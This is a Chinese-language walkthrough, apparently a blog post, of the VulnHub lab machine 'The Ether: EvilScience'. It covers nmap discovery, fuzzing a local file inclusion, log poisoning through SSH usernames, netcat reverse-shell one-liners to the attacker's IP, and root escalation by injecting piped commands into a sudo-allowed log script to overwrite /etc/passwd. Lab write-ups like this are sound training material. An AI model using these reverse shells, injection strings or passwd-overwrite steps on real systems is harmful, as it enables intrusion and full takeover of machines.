zoukankan      html  css  js  c++  java
  • evalsciencet靶机通关笔记

    前言

    好久没打靶机了,这次找了一个还挺好玩的靶机,顺便写下笔记。

    环境准备

    靶机下载地址:https://www.vulnhub.com/entry/the-ether-evilscience-v101,212/

    本地作为攻击方:192.168.199.119

    靶机:未知具体ip (由于靶机用的是NAT模式),可以确定的是在192.168.199.0/24内。

    信息收集

    先确定靶机ip

    # nmap -sP 192.168.1.0/24
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:31 ?D1ú±ê×?ê±??
    Nmap scan report for 192.168.1.1
    Host is up.
    Nmap scan report for 192.168.1.131
    Host is up (0.0010s latency).
    MAC Address: 00:0C:29:26:01:D6 (VMware)
    Nmap scan report for 192.168.1.254
    Host is up (0.00s latency).
    MAC Address: 00:50:56:EF:D7:EB (VMware)
    Nmap done: 256 IP addresses (3 hosts up) scanned in 31.83 seconds
    

    扫描端口

    # nmap -p- -A 192.168.1.131
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-02 16:38 ?D1ú±ê×?ê±??
    Nmap scan report for 192.168.1.131
    Host is up (0.00063s latency).
    Not shown: 65533 closed ports
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA)
    |   256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA)
    |_  256 86:6c:7c:4b:04:7e:57:4f:68:16:a9:74:4c:0d:2f:56 (ED25519)
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: The Ether
    MAC Address: 00:0C:29:26:01:D6 (VMware)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.63 ms 192.168.1.131
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 41.82 seconds
    

    开放了22和80端口,emm大概就这些。

    测试

    首先先从web入手,打开页面http://192.168.1.131:80
    ![img](/image

    翻阅后发现了一处疑似有文件包含的地方

    于是测试各种常见包含路径,但是没有什么进展。

    再测下能否远程包含,在服务器上放了一个info.php,内容为phpinfo();

    但是也没什么变化。

    接下来直接上fuzz大法,字典用SecLists中的文件包含字典LFI-Jhaddix.txt

    burp抓包后丢intruder

    发现了几个返回长度不一样的包含路径

    逐一访问后,发现除了/var/log/auth.log直接重定向到index.php,其他都是包含了一堆乱码,没什么用。

    抓包访问包含/var/log/auth.log

    既然能包含日志文件,那我们可以尝试向日志文件写入php代码,然后利用包含来执行getshell

    通过ssh连接的用户名来写入日志文件

    $ ssh ''@192.168.1.131
    @192.168.1.131's password:
    Permission denied, please try again.
    

    执行命令ls试试

    执行成功了,说明已经包含成功且执行了。

    后面试了直接写了个一句话,但是菜刀蚁剑都连不上,可能是php版本或者其他原因。。

    还是直接nc反弹吧,本地先开启nc监听

    # nc -lvp 999
    listening on [any] 999 ...
    

    加上参数 exec=/bin/nc -e /bin/bash 192.168.199.119 999

    再加上url编码

    没有反弹成功

    看了下大佬的wp,说可能是因为版本的原因,-e参数没有识别成功导致不能运行

    于是试下没有-e参数的命令

    mknod backpipe p && nc 192.168.199.119 999 0<backpipe | /bin/bash 1>backpipe
    /bin/sh | nc 192.168.199.119 999
    rm -f /tmp/p; mknod /tmp/p p && nc 192.168.199.119 999 0/tmp/
    

    编码后测试第一条就可以了

    # nc -lvp 999
    listening on [any] 999 ...
    connect to [192.168.199.119] from DESKTOP-6GE3653.lan [192.168.199.119] 10140
    ls
    1.php
    2.php
    about.php
    backpipe
    images
    index.php
    layout
    licence.txt
    research.php
    xxxlogauditorxxx.py
    

    提权

    先查看下当前用户

    whoami
    www-data
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    sudo -l 查看当前权限

    sudo -l
    Matching Defaults entries for www-data on theEther:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User www-data may run the following commands on theEther:
        (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
        (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
    

    能够运行xxxlogauditorxxx.py无需密码

    尝试运行

    sudo ./xxxlogauditorxxx.py
    sudo ./xxxlogauditorxxx.py
    
    ===============================
    Log Auditor
    ===============================
    Logs available
    -------------------------------
    /var/log/auth.log
    /var/log/apache2/access.log
    -------------------------------
    
    Load which log?:
    
    

    输入/var/log/auth.log看看有什么

    /var/log/auth.log
    Jun  2 22:03:01 theEther sshd[1472]: Invalid user v1nt from 192.168.1.1
    Jun  2 22:03:01 theEther sshd[1472]: input_userauth_request: invalid user v1nt [preauth]
    Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): check pass; user unknown
    Jun  2 22:03:04 theEther sshd[1472]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.1
    
    

    发现可以命令执行,并且权限比www-data大

    尝试逻辑或执行命令 /var/log/auth.log|whoami

    Load which log?: /var/log/auth.log|whoami
    www-data
    
    

    成功执行了,查看下/etc/passwd

    Load which log?: /var/log/auth.log|cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    
    

    也能成功执行。接着伪造/etc/passwd提权

    openssl passwd -1 -salt vint abc123 #该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为vint,密码是abc123
    
    

    在原来的passwd加上,放到服务器上

    然后wget下载,再覆盖掉原来的passwd

    wget http://xxx.xxx.xxx.xxx:8081/passwd
    ls
    1.php
    2.php
    about.php
    backpipe
    images
    index.php
    layout
    licence.txt
    passwd
    research.php
    xxxlogauditorxxx.py
    
    

    再覆盖掉原来的passwd

    Load which log?: /var/log/auth.log | cp passwd /etc/passwd
    
    

    再查看passwd

    添加成功了。

    最后切换到我们创建的用户就可以了。

    乐观的悲观主义者。
  • 相关阅读:
    vue实践推荐
    angularjs实现checkbox的点击-全选功能-选中数据
    是你需要的前端编码风格吗?
    webpack--前端性能优化与Gzip原理
    基于verdaccio的npm私有仓库搭建
    使用uni-app开发微信小程序
    《JavaScript设计模式与开发实践》-- 迭代器模式
    《JavaScript设计模式与开发实践》-- 发布-订阅模式
    《JavaScript设计模式与开发实践》-- 策略模式
    《JavaScript设计模式与开发实践》-- 代理模式
  • 原文地址:https://www.cnblogs.com/v1ntlyn/p/13549710.html
Copyright © 2011-2022 走看看